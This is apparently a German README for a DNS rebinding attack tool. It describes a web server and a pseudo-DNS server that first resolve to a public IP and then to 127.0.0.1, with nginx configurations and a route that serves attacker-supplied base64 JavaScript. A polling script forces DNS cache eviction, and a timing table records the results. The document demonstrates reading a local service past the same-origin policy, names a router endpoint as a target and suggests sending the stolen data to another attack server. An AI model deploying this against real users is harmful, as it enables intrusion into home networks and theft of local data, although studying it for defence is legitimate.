
DNS-Rebinding-Tool mit benutzerdefinierten Skripten
Inspiriert von @tavisio
Dieses Projekt soll ein All-in-One-Werkzeug sein, um weitere DNS‑Rebinding‑Angriffe zu testen, und stellt meine eigene Herangehensweise an diese Art von Angriffen dar. Es besteht aus einem Webserver und einem Pseudo‑DNS‑Server, der nur auf A‑Anfragen antwortet.
Das Root‑Verzeichnis des Webservers ermöglicht es, den Angriff über eine rudimentäre Weboberfläche zu konfigurieren und auszuführen. Siehe dnsrebindtool.43z.one.
Eine einfache nginx‑Konfiguration zum Hosten des Webservers:
server {
listen 80;
server_name dnsrebindtool.43z.one;
location / {
proxy_pass http://localhost:5000;
}
}
Die Route /attack des Webservers liest den GET‑Parameter script, der base64‑codiertes JavaScript enthalten sollte, und antwortet mit dem decodierten Code (in ein setTimeout eingewickelt), eingebettet in eine reguläre HTML‑Seite.
% curl "http://dnsrebindtool.43z.one/attack?script=YWxlcnQoMSk="
<html>
<script>
setTimeout(function(){
alert(1)
}, 3000)
</script>
</html
In meinem Registrar für die Domain 43z.one habe ich einen NS‑Eintrag für die Subdomain rebind eingerichtet, der auf die IP verweist, auf der dieses Tool gehostet wird.
ns A 81.4.124.10
rebind NS ns.43z.one
Der DNS‑Server antwortet nur auf A‑Anfragen in diesem Format:
evcmxfm4g . 81-4-124-10 . 127-0-0-1 .rebind.43z.one
Der erste Teil (Subdomain) ist eine zufällige ID und sollte für jede Angriffssitzung neu generiert werden (die Weboberfläche macht das bei jedem Neuladen). Danach kommt die IP, die der DNS‑Server für die nächsten 2 Sekunden ausliefern soll, und als drittes die IP, die der Server nach Ablauf dieser Zeit ausliefern soll.
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:20 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 81.4.124.10
$ date && nslookup -type=a evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Fri Feb 2 21:18:23 CET 2018
Server: 8.8.8.8
Address: 8.8.8.8#53
Non-authoritative answer:
Name: evcmxfm4b.81-4-124-10.127-0-0-1.rebind.43z.one
Address: 127.0.0.1
Das letzte fehlende Stück ist eine nginx‑Konfiguration für die Rebind‑Domains. Nur die Route /attack soll an das Tool weitergeleitet werden, andere sollen mit einem Fehler antworten. Dies erlaubt es, andere Dienste auf Port 80 mit allen Routen außer /attack anzugreifen (z. B. /api/monitoring/stats, einen Endpunkt, den mein Router bereitstellt).
server {
listen 80;
server_name *.rebind.43z.one;
location / {
return 404;
}
location /attack {
proxy_pass http://localhost:5000/attack;
}
}
DNS‑Cache‑Eviction
var xhr = new XMLHttpRequest()
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// first time the browser sees this domain it queries the dns server
// and gets 81.4.124.10
// sleep for more than 2 sec
xhr.open('GET', 'czg9g2olz.81-4-124-10.127-0-0-1.rebind.43z.one', false)
xhr.send()
// still uses 81.4.124.10 (AND NOT 127.0.0.1)
// NO dns query happened browser used cached IP
Dies ist ein Problem für diese Art von Angriff. Damit es funktioniert, muss der Browser eine neue DNS‑Anfrage stellen, um die zweite IP zu erhalten. Theoretisch sollte eine neue Anfrage erfolgen, wenn man zwischen den Anfragen lange genug wartet.
Meine Tests zeigen jedoch, dass es einen schnelleren, aber aggressiveren Ansatz gibt. Sehr wahrscheinlich ist dies setup‑spezifisch. Bedarf weiterer Tests.
Ich habe das folgende Skript verwendet, um den optimalen Wert für die Variable WAIT zu messen. Getestet unter Chromium 62.0.3202.89 auf Debian buster/sid.
var WAIT = 200
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, WAIT)
Ich habe ein neues Repository nur zur Untersuchung davon gestartet: dns cache eviction tester
Alles zusammensetzen und testen.
echo -e "HTTP/1.1 200 OK\n\n TOPSECRET" | sudo nc -lvp 80 -q1 127.0.0.1
Diese netcat‑Instanz liefert einige Inhalte, auf die ich zugreifen möchte.
Ich behalte die Standard‑Rebind‑Domain
$RANDOM$.81-4-124-10.127-0-0-1.rebind.43z.one
und das Standardskript
var start = Date.now()
var interval = setInterval(function(){
var xhr = new XMLHttpRequest()
xhr.open('GET', '//' + $REBIND_DOMAIN, false)
xhr.send()
if(xhr.status == 200){
document.body.innerHTML = (Date.now() - start)/1000
document.body.innerHTML += xhr.responseText
clearInterval(interval)
return
}
}, 200)
auf dnsrebindtool.43z.one und drücke den Attack‑Button.
Öffne den Netzwerk‑Tab der Entwicklertools, um zu sehen, was im Hintergrund passiert.
Bei mir erscheint nach etwa 60 Sekunden die Zeichenkette TOPSECRET zusammen mit der benötigten Zeit. DNS‑Rebinding hat die Same‑Origin‑Policy umgangen.
Um die abgegriffenen Daten aus dem iframe zu bekommen, könnte man Window.PostMessage() verwenden oder innerhalb des Skripts selbst Code einbauen, der die Daten an einen anderen Angriffsserver weiterleitet.
| WAIT value in ms | requests chrome sends | Time until queries dns again |
|---|
| 0 | 700 | 60 |
| 10 | 700 | 60 |
| 100 | 600 | 63 |
| 120 | 500 | 63 |
| 150 | 400 | 63 |
| 180 | 400 | 75 |
| 200 | 300 | 63 |
| 220 | 300 | 69 |
| 250 | 300 | 78 |
| 280 | 300 | 87 |
| 300 | 200 | 63 |
| 320 | 200 | 67 |
| 340 | 200 | 71 |
| 360 | 200 | 75 |
| 380 | 200 | 79 |
| 400 | 200 | 83 |
| 1000 | 100 | 103 |